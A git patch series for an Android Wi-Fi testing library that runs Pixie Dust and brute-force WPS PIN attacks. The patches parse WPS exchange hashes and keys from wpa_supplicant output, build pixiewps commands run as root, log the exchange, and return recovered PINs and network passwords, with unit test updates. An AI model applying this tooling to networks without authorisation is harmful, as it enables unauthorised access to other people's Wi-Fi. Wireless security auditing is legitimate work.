820bd4bb39e285b399a509f7f21b1f534cb45369 Mon Sep 17 00:00:00 2001 From: Alessandro Sangiorgi Date: Fri, 13 Mar 2026 14:24:53 -0500 Subject: [PATCH 2/5] Update PixieWps command execution to include all attack modes * Add `--mode 1,2,3,4,5,6,7,8,9,10,11` to the `pixiewps` command string for both standard and forced execution. --- lib/src/main/cpp/pixiewps/pixiewps_wrapper.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c b/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c index dd489eb..c16d9c8 100644 --- a/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c +++ b/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c @@ -82,11 +82,11 @@ int pixiewps_compute(const char *pke, const char *pkr, char cmd[8192]; if (force) { snprintf(cmd, sizeof(cmd), - "%s --force --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s", + "%s --force --mode 1,2,3,4,5,6,7,8,9,10,11 --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s", pixiewps_exec_path, pke, pkr, e_hash1, e_hash2, auth_key, e_nonce); } else { snprintf(cmd, sizeof(cmd), - "%s --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s", + "%s --mode 1,2,3,4,5,6,7,8,9,10,11 --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s", pixiewps_exec_path, pke, pkr, e_hash1, e_hash2, auth_key, e_nonce); } From 8ab8607c29cb40e3055c9236f36413f1b7c9a8be Mon Sep 17 00:00:00 2001 From: Alessandro Sangiorgi Date: Mon, 30 Mar 2026 09:34:52 -0500 Subject: [PATCH 3/5] Implement WPS exchange logging and refine Pixie Dust execution * **WPS Exchange Logging**: * Added `exchange_log` to `wps_result_t` in the native layer to accumulate relevant WPS exchange lines (Enrollee Nonce, Hashes, AuthKey, Public Keys). * Updated JNI and Java models (`WpsResult`, `NetworkToTest`) to propagate the accumulated exchange log to the application layer. * Modified `supplicant_launcher.c` to identify and capture hex-dumped WPS parameters from the supplicant output. * **Pixie Dust Improvements**: * Corrected the labeling of Public Keys in logs and parameter extraction: `dh_own_pubkey` is now correctly identified as PKR and `dh_peer_pubkey` as PKE. * Simplified the `pixiewps` command execution by removing redundant mode flags and defaulting to `--force` for better compatibility. * Updated `PixieDustExecutor` to disable the manual `--force` flag in favor of faster automatic mode. * **Bug Fixes & Refinement**: * Enhanced `WpsNative` deployment logic to verify all required executables are present instead of just checking for the supplicant. * Improved error logging in `pixiewps_wrapper.c` to include the process exit status and the tail of the output on failure. * Updated `ConnectionUpdateCallback` and service handlers to support passing the exchange log upon successful Pixie Dust attacks. --- lib/src/main/cpp/jni/wpsnative_jni.c | 6 ++- lib/src/main/cpp/jni/wpsnative_jni.h | 6 ++- lib/src/main/cpp/pixiewps/pixiewps_wrapper.c | 19 ++++----- .../main/cpp/supplicant/supplicant_launcher.c | 42 ++++++++++++++++--- .../wps/lib/ConnectionUpdateCallback.java | 4 ++ .../wps/lib/handlers/ConnectionHandler.java | 4 ++ .../wps/lib/models/NetworkToTest.java | 12 ++++++ .../java/sangiorgi/wps/lib/ndk/WpsNative.java | 13 +++--- .../java/sangiorgi/wps/lib/ndk/WpsResult.java | 15 +++++-- .../wps/lib/services/ConnectionService.java | 12 +++++- .../wps/lib/services/PixieDustExecutor.java | 2 +- .../wps/lib/services/WpsExecutor.java | 9 ++++ .../sangiorgi/wps/lib/services/WpsResult.java | 9 ++++ 13 files changed, 123 insertions(+), 30 deletions(-) diff --git a/lib/src/main/cpp/jni/wpsnative_jni.c b/lib/src/main/cpp/jni/wpsnative_jni.c index 7b8b58d..b0a93c5 100644 --- a/lib/src/main/cpp/jni/wpsnative_jni.c +++ b/lib/src/main/cpp/jni/wpsnative_jni.c @@ -128,7 +128,8 @@ Java_sangiorgi_wps_lib_ndk_WpsNative_readWpsResult( return NULL; } - jmethodID ctor = (*env)->GetMethodID(env, cls, "", "(ILjava/lang/String;Ljava/lang/String;)V"); + jmethodID ctor = (*env)->GetMethodID(env, cls, "", + "(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V"); if (ctor == NULL) { LOGE("readWpsResult: WpsResult constructor not found"); return NULL; @@ -136,8 +137,9 @@ Java_sangiorgi_wps_lib_ndk_WpsNative_readWpsResult( jstring jKey = result.network_key[0] ? (*env)->NewStringUTF(env, result.network_key) : NULL; jstring jRaw = result.raw_line[0] ? (*env)->NewStringUTF(env, result.raw_line) : NULL; + jstring jLog = result.exchange_log[0] ? (*env)->NewStringUTF(env, result.exchange_log) : NULL; - return (*env)->NewObject(env, cls, ctor, result.status, jKey, jRaw); + return (*env)->NewObject(env, cls, ctor, result.status, jKey, jRaw, jLog); } // ============================================================================= diff --git a/lib/src/main/cpp/jni/wpsnative_jni.h b/lib/src/main/cpp/jni/wpsnative_jni.h index b8173db..a3d9054 100644 --- a/lib/src/main/cpp/jni/wpsnative_jni.h +++ b/lib/src/main/cpp/jni/wpsnative_jni.h @@ -31,13 +31,15 @@ typedef struct { int status; char network_key[256]; // Password on success char raw_line[1024]; // Raw output line for debugging + char exchange_log[65536]; // Accumulated WPS exchange lines + int exchange_log_len; // Current length of exchange_log } wps_result_t; // Pixie Dust parameters typedef struct { char enrollee_nonce[128]; - char dh_own_pubkey[1024]; // PKE - char dh_peer_pubkey[1024]; // PKR + char dh_own_pubkey[1024]; // PKR (our key as External Registrar) + char dh_peer_pubkey[1024]; // PKE (AP's key as Enrollee) char auth_key[128]; char e_hash1[128]; char e_hash2[128]; diff --git a/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c b/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c index c16d9c8..4521950 100644 --- a/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c +++ b/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c @@ -49,6 +49,8 @@ int pixiewps_compute(const char *pke, const char *pkr, const char *auth_key, const char *e_nonce, int force, char *pin_out, int pin_size) { + (void)force; + if (pixiewps_exec_path[0] == '\0') { LOGE("pixiewps_compute: executable path not set"); return -1; @@ -80,15 +82,9 @@ int pixiewps_compute(const char *pke, const char *pkr, close(pipefd[1]); char cmd[8192]; - if (force) { - snprintf(cmd, sizeof(cmd), - "%s --force --mode 1,2,3,4,5,6,7,8,9,10,11 --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s", - pixiewps_exec_path, pke, pkr, e_hash1, e_hash2, auth_key, e_nonce); - } else { - snprintf(cmd, sizeof(cmd), - "%s --mode 1,2,3,4,5,6,7,8,9,10,11 --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s", - pixiewps_exec_path, pke, pkr, e_hash1, e_hash2, auth_key, e_nonce); - } + snprintf(cmd, sizeof(cmd), + "%s --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s --force", + pixiewps_exec_path, pke, pkr, e_hash1, e_hash2, auth_key, e_nonce); execlp("su", "su", "-c", cmd, (char *)NULL); _exit(127); @@ -158,7 +154,10 @@ int pixiewps_compute(const char *pke, const char *pkr, if (strstr(buf, "not found")) { LOGI("pixiewps_compute: PIN not found (not vulnerable)"); } else { - LOGE("pixiewps_compute: unexpected output: %s", buf); + // Log end of output (error reason is appended after usage screen) + int tail_start = total > 300 ? total - 300 : 0; + LOGE("pixiewps_compute: unexpected exit=%d, output tail: %s", + WIFEXITED(status) ? WEXITSTATUS(status) : -1, buf + tail_start); } pin_out[0] = '\0'; diff --git a/lib/src/main/cpp/supplicant/supplicant_launcher.c b/lib/src/main/cpp/supplicant/supplicant_launcher.c index af36c92..de29d77 100644 --- a/lib/src/main/cpp/supplicant/supplicant_launcher.c +++ b/lib/src/main/cpp/supplicant/supplicant_launcher.c @@ -195,6 +195,37 @@ void session_destroy(wps_session_t *session) { // ============================================================================= // supplicant_read_wps_result // ============================================================================= +/** + * Helper: check if a line is a WPS exchange line worth logging. + */ +static int is_wps_exchange_line(const char *line) { + if (strstr(line, "hexdump") == NULL) return 0; + return strstr(line, "Enrollee Nonce") != NULL + || strstr(line, "E-Hash1") != NULL + || strstr(line, "E-Hash2") != NULL + || strstr(line, "AuthKey") != NULL + || strstr(line, "DH own Public Key") != NULL + || strstr(line, "DH peer Public Key") != NULL + || strstr(line, "Registrar Nonce") != NULL; +} + +/** + * Helper: append a line to the exchange log buffer if it's WPS-relevant. + */ +static void append_exchange_line(wps_result_t *result, const char *line) { + if (!is_wps_exchange_line(line)) return; + + int line_len = strlen(line); + int remaining = (int)sizeof(result->exchange_log) - result->exchange_log_len - 2; // room for \n and \0 + if (remaining <= 0) return; + + int to_copy = line_len < remaining ? line_len : remaining; + memcpy(result->exchange_log + result->exchange_log_len, line, to_copy); + result->exchange_log_len += to_copy; + result->exchange_log[result->exchange_log_len++] = '\n'; + result->exchange_log[result->exchange_log_len] = '\0'; +} + void supplicant_read_wps_result(wps_session_t *session, wps_result_t *result, int timeout_ms) { if (!session || !session->running) { result->status = WPS_STATUS_ERROR; @@ -231,8 +262,11 @@ void supplicant_read_wps_result(wps_session_t *session, wps_result_t *result, in return; } - LOGD("supplicant output: %s", line); strncpy(result->raw_line, line, sizeof(result->raw_line) - 1); + append_exchange_line(result, line); + if (is_wps_exchange_line(line)) { + LOGD("supplicant: %s", line); + } // Check for SELinux denial if (strstr(line, "avc: denied { sendto }") && strstr(line, "permissive=0")) { @@ -317,8 +351,6 @@ int supplicant_extract_pixiedust(wps_session_t *session, pixiedust_params_t *par } read_errors = 0; // Reset on successful read - LOGD("pixie output: %s", line); - // Extract each parameter from hexdump lines if (strstr(line, "Enrollee Nonce") && strstr(line, "hexdump")) { extract_hexdump(line, params->enrollee_nonce, sizeof(params->enrollee_nonce)); @@ -328,12 +360,12 @@ int supplicant_extract_pixiedust(wps_session_t *session, pixiedust_params_t *par else if (strstr(line, "DH own Public Key") && strstr(line, "hexdump")) { extract_hexdump(line, params->dh_own_pubkey, sizeof(params->dh_own_pubkey)); found |= 0x02; - LOGD("Found DH own Public Key (PKE)"); + LOGD("Found DH own Public Key (PKR)"); } else if (strstr(line, "DH peer Public Key") && strstr(line, "hexdump")) { extract_hexdump(line, params->dh_peer_pubkey, sizeof(params->dh_peer_pubkey)); found |= 0x04; - LOGD("Found DH peer Public Key (PKR)"); + LOGD("Found DH peer Public Key (PKE)"); } else if (strstr(line, "AuthKey") && strstr(line, "hexdump")) { extract_hexdump(line, params->auth_key, sizeof(params->auth_key)); diff --git a/lib/src/main/java/sangiorgi/wps/lib/ConnectionUpdateCallback.java b/lib/src/main/java/sangiorgi/wps/lib/ConnectionUpdateCallback.java index bd9fa79..20aeab0 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/ConnectionUpdateCallback.java +++ b/lib/src/main/java/sangiorgi/wps/lib/ConnectionUpdateCallback.java @@ -21,5 +21,9 @@ public interface ConnectionUpdateCallback { // Additional callbacks for improved pattern default void onPixieDustSuccess(String pin, String password) {} + default void onPixieDustSuccess(String pin, String password, String wpsExchangeLog) { + onPixieDustSuccess(pin, password); + } + default void onPixieDustFailure(String error) {} } diff --git a/lib/src/main/java/sangiorgi/wps/lib/handlers/ConnectionHandler.java b/lib/src/main/java/sangiorgi/wps/lib/handlers/ConnectionHandler.java index 38fcc8b..04f3af2 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/handlers/ConnectionHandler.java +++ b/lib/src/main/java/sangiorgi/wps/lib/handlers/ConnectionHandler.java @@ -171,6 +171,10 @@ private void handleSuccessfulConnection(WpsResult result) { networkToTest.setPassword(password); Log.i(TAG, "Password found: " + password); } + String exchangeLog = result.getExchangeLog(); + if (exchangeLog != null) { + networkToTest.setWpsExchangeLog(exchangeLog); + } runOnUiThread(() -> stateManager.handleSuccessfulConnection(password)); stop(); } diff --git a/lib/src/main/java/sangiorgi/wps/lib/models/NetworkToTest.java b/lib/src/main/java/sangiorgi/wps/lib/models/NetworkToTest.java index c53d411..4dc3ba0 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/models/NetworkToTest.java +++ b/lib/src/main/java/sangiorgi/wps/lib/models/NetworkToTest.java @@ -1,5 +1,7 @@ package sangiorgi.wps.lib.models; +import androidx.annotation.NonNull; + import java.util.Arrays; public class NetworkToTest { @@ -7,6 +9,7 @@ public class NetworkToTest { private String ssid; private String[] pins; private String password; + private String wpsExchangeLog; public NetworkToTest() {} @@ -16,6 +19,7 @@ public NetworkToTest(String bssid, String ssid, String[] pins) { this.pins = pins; } + @NonNull @Override public String toString() { return "NetworkToTest{" @@ -61,4 +65,12 @@ public String[] getPins() { public void setPins(String[] pins) { this.pins = pins; } + + public String getWpsExchangeLog() { + return wpsExchangeLog; + } + + public void setWpsExchangeLog(String wpsExchangeLog) { + this.wpsExchangeLog = wpsExchangeLog; + } } diff --git a/lib/src/main/java/sangiorgi/wps/lib/ndk/WpsNative.java b/lib/src/main/java/sangiorgi/wps/lib/ndk/WpsNative.java index 6aa3cc0..dea9c8c 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/ndk/WpsNative.java +++ b/lib/src/main/java/sangiorgi/wps/lib/ndk/WpsNative.java @@ -115,18 +115,21 @@ private boolean deployExecutables() { Shell.Result result = Shell.cmd(cpCmds.toString()).exec(); List output = result.getOut(); - boolean hasSupplicant = false; + int foundCount = 0; for (String line : output) { Log.i(TAG, "deploy: " + line); - if (line.contains("libwpa_supplicant_exec.so") && !line.contains("No such file")) { - hasSupplicant = true; + for (String name : EXECUTABLES) { + if (line.contains(name) && !line.contains("No such file")) { + foundCount++; + } } } - if (hasSupplicant) { - Log.i(TAG, "deployExecutables: success via cp from nativeLibDir"); + if (foundCount >= EXECUTABLES.length) { + Log.i(TAG, "deployExecutables: all " + foundCount + " executables deployed"); return true; } + Log.w(TAG, "deployExecutables: only " + foundCount + "/" + EXECUTABLES.length + " found"); Log.w(TAG, "deployExecutables: cp failed, trying stdin pipe fallback"); return deployViaStdinPipe(); diff --git a/lib/src/main/java/sangiorgi/wps/lib/ndk/WpsResult.java b/lib/src/main/java/sangiorgi/wps/lib/ndk/WpsResult.java index fc95244..29b35b3 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/ndk/WpsResult.java +++ b/lib/src/main/java/sangiorgi/wps/lib/ndk/WpsResult.java @@ -34,17 +34,20 @@ public static Status fromCode(int code) { private final Status status; private final String networkKey; private final String rawLine; + private final String exchangeLog; /** * Constructor called from native code. - * @param statusCode Native status code (0-7) - * @param networkKey WiFi password on success, null otherwise - * @param rawLine Raw output line for debugging + * @param statusCode Native status code (0-7) + * @param networkKey WiFi password on success, null otherwise + * @param rawLine Raw output line for debugging + * @param exchangeLog Accumulated WPS exchange lines from supplicant */ - public WpsResult(int statusCode, String networkKey, String rawLine) { + public WpsResult(int statusCode, String networkKey, String rawLine, String exchangeLog) { this.status = Status.fromCode(statusCode); this.networkKey = networkKey; this.rawLine = rawLine; + this.exchangeLog = exchangeLog; } public Status getStatus() { @@ -59,6 +62,10 @@ public String getRawLine() { return rawLine; } + public String getExchangeLog() { + return exchangeLog; + } + public boolean isSuccess() { return status == Status.SUCCESS; } diff --git a/lib/src/main/java/sangiorgi/wps/lib/services/ConnectionService.java b/lib/src/main/java/sangiorgi/wps/lib/services/ConnectionService.java index 416aa19..3b11497 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/services/ConnectionService.java +++ b/lib/src/main/java/sangiorgi/wps/lib/services/ConnectionService.java @@ -88,6 +88,9 @@ public CompletableFuture startBelkinConnection() { if (password != null) { networkToTest.setPassword(password); } + if (result.getExchangeLog() != null) { + networkToTest.setWpsExchangeLog(result.getExchangeLog()); + } stateManager.handleSuccessfulConnection(password); } else { stateManager.handleFailedConnection("Belkin connection failed", -1); @@ -137,6 +140,9 @@ public CompletableFuture startBruteforceConnection(int delayMs) { if (password != null) { networkToTest.setPassword(password); } + if (result.getExchangeLog() != null) { + networkToTest.setWpsExchangeLog(result.getExchangeLog()); + } stateManager.handleSuccessfulConnection(password); return; } @@ -172,8 +178,12 @@ public CompletableFuture startPixieDustAttack() { if (password != null) { networkToTest.setPassword(password); } + String exchangeLog = result.getExchangeLog(); + if (exchangeLog != null) { + networkToTest.setWpsExchangeLog(exchangeLog); + } // Report success with PIN and password (password may be null) - callback.onPixieDustSuccess(pin, password); + callback.onPixieDustSuccess(pin, password, exchangeLog); } else { // No PIN found callback.onPixieDustFailure("PIN not found. Router may not be vulnerable."); diff --git a/lib/src/main/java/sangiorgi/wps/lib/services/PixieDustExecutor.java b/lib/src/main/java/sangiorgi/wps/lib/services/PixieDustExecutor.java index 0782a16..130fe2f 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/services/PixieDustExecutor.java +++ b/lib/src/main/java/sangiorgi/wps/lib/services/PixieDustExecutor.java @@ -85,7 +85,7 @@ public CompletableFuture executePixieDust(String bssid) { params[5], // eHash2 params[3], // authKey params[0], // eNonce (Enrollee Nonce) - true // --force + false // no --force: auto mode is fast (~seconds) ); if (pin == null) { diff --git a/lib/src/main/java/sangiorgi/wps/lib/services/WpsExecutor.java b/lib/src/main/java/sangiorgi/wps/lib/services/WpsExecutor.java index 5a9ebf3..c6ebf00 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/services/WpsExecutor.java +++ b/lib/src/main/java/sangiorgi/wps/lib/services/WpsExecutor.java @@ -189,6 +189,10 @@ private WpsResult convertNativeResult(String bssid, String pin, if (networkKey != null) { result.setPassword(networkKey); } + String exchangeLog = nativeResult.getExchangeLog(); + if (exchangeLog != null) { + result.setExchangeLog(exchangeLog); + } return result; } @@ -270,6 +274,11 @@ private WpsResult buildPixieDustResult(String bssid, PixieDustExecutor.PixieDust wpsResult.setPassword(result.getPassword()); } + // Propagate exchange log from the inner WPS result + if (result.getWpsResult() != null && result.getWpsResult().getExchangeLog() != null) { + wpsResult.setExchangeLog(result.getWpsResult().getExchangeLog()); + } + return wpsResult; } diff --git a/lib/src/main/java/sangiorgi/wps/lib/services/WpsResult.java b/lib/src/main/java/sangiorgi/wps/lib/services/WpsResult.java index f745544..2be9e29 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/services/WpsResult.java +++ b/lib/src/main/java/sangiorgi/wps/lib/services/WpsResult.java @@ -27,6 +27,7 @@ public static boolean isWpsLockedIndicator(String line) { private final List commandResults; private final boolean success; private String password; + private String exchangeLog; public WpsResult(String bssid, String pin, List commandResults) { this.bssid = bssid; @@ -232,6 +233,14 @@ public List getResults() { return commandResults; } + public String getExchangeLog() { + return exchangeLog; + } + + public void setExchangeLog(String exchangeLog) { + this.exchangeLog = exchangeLog; + } + private String extractPassword() { // Try to extract password from command outputs for (CommandResult result : commandResults) { From d96ae70ca9fc53736e1b8a63b1956a166260d4c8 Mon Sep 17 00:00:00 2001 From: Alessandro Sangiorgi Date: Mon, 30 Mar 2026 09:45:37 -0500 Subject: [PATCH 4/5] Update `WpsResult` constructor calls in unit tests to match signature changes * Update all `WpsResult` instantiations in `WpsResultTest.java` to include a fourth null parameter, reflecting the updated class constructor. --- .../sangiorgi/wps/lib/ndk/WpsResultTest.java | 26 +++++++++---------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/lib/src/test/java/sangiorgi/wps/lib/ndk/WpsResultTest.java b/lib/src/test/java/sangiorgi/wps/lib/ndk/WpsResultTest.java index 9d70f40..261b9e1 100644 --- a/lib/src/test/java/sangiorgi/wps/lib/ndk/WpsResultTest.java +++ b/lib/src/test/java/sangiorgi/wps/lib/ndk/WpsResultTest.java @@ -12,7 +12,7 @@ public class WpsResultTest { @Test public void testSuccessStatus() { - WpsResult result = new WpsResult(0, "MyPassword123", "Network Key: ..."); + WpsResult result = new WpsResult(0, "MyPassword123", "Network Key: ...", null); assertEquals(WpsResult.Status.SUCCESS, result.getStatus()); assertTrue(result.isSuccess()); assertEquals("MyPassword123", result.getNetworkKey()); @@ -21,7 +21,7 @@ public void testSuccessStatus() { @Test public void testFourFailStatus() { - WpsResult result = new WpsResult(1, null, "WPS-FAIL msg=8 config_error=18"); + WpsResult result = new WpsResult(1, null, "WPS-FAIL msg=8 config_error=18", null); assertEquals(WpsResult.Status.FOUR_FAIL, result.getStatus()); assertFalse(result.isSuccess()); assertNull(result.getNetworkKey()); @@ -29,35 +29,35 @@ public void testFourFailStatus() { @Test public void testThreeFailStatus() { - WpsResult result = new WpsResult(2, null, "WPS-FAIL msg=8"); + WpsResult result = new WpsResult(2, null, "WPS-FAIL msg=8", null); assertEquals(WpsResult.Status.THREE_FAIL, result.getStatus()); assertFalse(result.isSuccess()); } @Test public void testLockedStatus() { - WpsResult result = new WpsResult(3, null, "WPS-FAIL config_error=15"); + WpsResult result = new WpsResult(3, null, "WPS-FAIL config_error=15", null); assertEquals(WpsResult.Status.LOCKED, result.getStatus()); assertFalse(result.isSuccess()); } @Test public void testCrcFailStatus() { - WpsResult result = new WpsResult(4, null, "CRC failure"); + WpsResult result = new WpsResult(4, null, "CRC failure", null); assertEquals(WpsResult.Status.CRC_FAIL, result.getStatus()); assertFalse(result.isSuccess()); } @Test public void testSelinuxStatus() { - WpsResult result = new WpsResult(5, null, "SELinux denied"); + WpsResult result = new WpsResult(5, null, "SELinux denied", null); assertEquals(WpsResult.Status.SELINUX, result.getStatus()); assertFalse(result.isSuccess()); } @Test public void testTimeoutStatus() { - WpsResult result = new WpsResult(6, null, null); + WpsResult result = new WpsResult(6, null, null, null); assertEquals(WpsResult.Status.TIMEOUT, result.getStatus()); assertFalse(result.isSuccess()); assertNull(result.getNetworkKey()); @@ -66,28 +66,28 @@ public void testTimeoutStatus() { @Test public void testErrorStatus() { - WpsResult result = new WpsResult(7, null, "Unknown error"); + WpsResult result = new WpsResult(7, null, "Unknown error", null); assertEquals(WpsResult.Status.ERROR, result.getStatus()); assertFalse(result.isSuccess()); } @Test public void testUnknownStatusCodeMapsToError() { - WpsResult result = new WpsResult(99, null, null); + WpsResult result = new WpsResult(99, null, null, null); assertEquals(WpsResult.Status.ERROR, result.getStatus()); assertFalse(result.isSuccess()); } @Test public void testNegativeStatusCodeMapsToError() { - WpsResult result = new WpsResult(-1, null, null); + WpsResult result = new WpsResult(-1, null, null, null); assertEquals(WpsResult.Status.ERROR, result.getStatus()); } @Test public void testSuccessWithNullNetworkKey() { // Success status but no key extracted yet - WpsResult result = new WpsResult(0, null, "WPS-SUCCESS"); + WpsResult result = new WpsResult(0, null, "WPS-SUCCESS", null); assertTrue(result.isSuccess()); assertNull(result.getNetworkKey()); } @@ -107,7 +107,7 @@ public void testStatusFromCodeAllValues() { @Test public void testToString() { - WpsResult result = new WpsResult(0, "pass123", "raw line"); + WpsResult result = new WpsResult(0, "pass123", "raw line", null); String str = result.toString(); assertNotNull(str); assertTrue(str.contains("SUCCESS")); @@ -117,7 +117,7 @@ public void testToString() { @Test public void testToStringNullKey() { - WpsResult result = new WpsResult(6, null, null); + WpsResult result = new WpsResult(6, null, null, null); String str = result.toString(); assertTrue(str.contains("TIMEOUT")); assertTrue(str.contains("null")); From 3ffda14c1fe3c8aca7822fea8bdac33ffb1de117 Mon Sep 17 00:00:00 2001 From: Alessandro Sangiorgi Date: Mon, 30 Mar 2026 09:55:50 -0500 Subject: [PATCH 5/5] Implement conditional force execution in PixieWps and enhance WPS result logging * Modify `pixiewps_wrapper.c` to conditionally include the `--force` flag based on the `force` parameter, instead of hardcoding it. * Update `PixieDustExecutor.java` to enable the `force` flag during Pixie Dust attacks to perform a full range brute-force. * Add a null-terminator to `raw_line` in `supplicant_launcher.c` to prevent potential buffer overflows. * Expand `ConnectionUpdateCallback` and `WpsResult` to support passing and retrieving an exchange log during successful Pixie Dust attacks. * Add unit tests in `ConnectionUpdateCallbackTest.java` and `WpsResultTest.java` to verify the new exchange log delegation and retrieval logic. --- lib/src/main/cpp/pixiewps/pixiewps_wrapper.c | 14 ++++++---- .../main/cpp/supplicant/supplicant_launcher.c | 1 + .../wps/lib/services/PixieDustExecutor.java | 2 +- .../wps/lib/ConnectionUpdateCallbackTest.java | 28 +++++++++++++++++++ .../sangiorgi/wps/lib/ndk/WpsResultTest.java | 12 ++++++++ 5 files changed, 51 insertions(+), 6 deletions(-) diff --git a/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c b/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c index 4521950..66a8906 100644 --- a/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c +++ b/lib/src/main/cpp/pixiewps/pixiewps_wrapper.c @@ -49,8 +49,6 @@ int pixiewps_compute(const char *pke, const char *pkr, const char *auth_key, const char *e_nonce, int force, char *pin_out, int pin_size) { - (void)force; - if (pixiewps_exec_path[0] == '\0') { LOGE("pixiewps_compute: executable path not set"); return -1; @@ -82,9 +80,15 @@ int pixiewps_compute(const char *pke, const char *pkr, close(pipefd[1]); char cmd[8192]; - snprintf(cmd, sizeof(cmd), - "%s --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s --force", - pixiewps_exec_path, pke, pkr, e_hash1, e_hash2, auth_key, e_nonce); + if (force) { + snprintf(cmd, sizeof(cmd), + "%s --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s --force", + pixiewps_exec_path, pke, pkr, e_hash1, e_hash2, auth_key, e_nonce); + } else { + snprintf(cmd, sizeof(cmd), + "%s --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s", + pixiewps_exec_path, pke, pkr, e_hash1, e_hash2, auth_key, e_nonce); + } execlp("su", "su", "-c", cmd, (char *)NULL); _exit(127); diff --git a/lib/src/main/cpp/supplicant/supplicant_launcher.c b/lib/src/main/cpp/supplicant/supplicant_launcher.c index de29d77..904ac1b 100644 --- a/lib/src/main/cpp/supplicant/supplicant_launcher.c +++ b/lib/src/main/cpp/supplicant/supplicant_launcher.c @@ -263,6 +263,7 @@ void supplicant_read_wps_result(wps_session_t *session, wps_result_t *result, in } strncpy(result->raw_line, line, sizeof(result->raw_line) - 1); + result->raw_line[sizeof(result->raw_line) - 1] = '\0'; append_exchange_line(result, line); if (is_wps_exchange_line(line)) { LOGD("supplicant: %s", line); diff --git a/lib/src/main/java/sangiorgi/wps/lib/services/PixieDustExecutor.java b/lib/src/main/java/sangiorgi/wps/lib/services/PixieDustExecutor.java index 130fe2f..bc2453a 100644 --- a/lib/src/main/java/sangiorgi/wps/lib/services/PixieDustExecutor.java +++ b/lib/src/main/java/sangiorgi/wps/lib/services/PixieDustExecutor.java @@ -85,7 +85,7 @@ public CompletableFuture executePixieDust(String bssid) { params[5], // eHash2 params[3], // authKey params[0], // eNonce (Enrollee Nonce) - false // no --force: auto mode is fast (~seconds) + true // --force: bruteforce full range ); if (pin == null) { diff --git a/lib/src/test/java/sangiorgi/wps/lib/ConnectionUpdateCallbackTest.java b/lib/src/test/java/sangiorgi/wps/lib/ConnectionUpdateCallbackTest.java index eac1199..5713b83 100644 --- a/lib/src/test/java/sangiorgi/wps/lib/ConnectionUpdateCallbackTest.java +++ b/lib/src/test/java/sangiorgi/wps/lib/ConnectionUpdateCallbackTest.java @@ -37,6 +37,34 @@ public void success(NetworkToTest networkToTest, boolean isRoot) {} // Default methods should not throw callback.onPixieDustSuccess("12345670", "password"); + callback.onPixieDustSuccess("12345670", "password", "exchange log"); callback.onPixieDustFailure("error"); } + + @Test + public void testThreeArgPixieDustSuccessDelegatesToTwoArg() { + final boolean[] called = {false}; + ConnectionUpdateCallback callback = + new ConnectionUpdateCallback() { + @Override + public void create(String title, String message, int progress) {} + @Override + public void updateMessage(String message) {} + @Override + public void updateCount(int increment) {} + @Override + public void error(String message, int type) {} + @Override + public void success(NetworkToTest networkToTest, boolean isRoot) {} + @Override + public void onPixieDustSuccess(String pin, String password) { + called[0] = true; + assertEquals("12345670", pin); + assertEquals("password", password); + } + }; + + callback.onPixieDustSuccess("12345670", "password", "log data"); + assertTrue("3-arg overload should delegate to 2-arg", called[0]); + } } diff --git a/lib/src/test/java/sangiorgi/wps/lib/ndk/WpsResultTest.java b/lib/src/test/java/sangiorgi/wps/lib/ndk/WpsResultTest.java index 261b9e1..f27941d 100644 --- a/lib/src/test/java/sangiorgi/wps/lib/ndk/WpsResultTest.java +++ b/lib/src/test/java/sangiorgi/wps/lib/ndk/WpsResultTest.java @@ -115,6 +115,18 @@ public void testToString() { assertTrue(str.contains("raw line")); } + @Test + public void testExchangeLog() { + WpsResult result = new WpsResult(0, "pass", "raw", "WPS: Enrollee Nonce - hexdump"); + assertEquals("WPS: Enrollee Nonce - hexdump", result.getExchangeLog()); + } + + @Test + public void testExchangeLogNull() { + WpsResult result = new WpsResult(0, "pass", "raw", null); + assertNull(result.getExchangeLog()); + } + @Test public void testToStringNullKey() { WpsResult result = new WpsResult(6, null, null, null);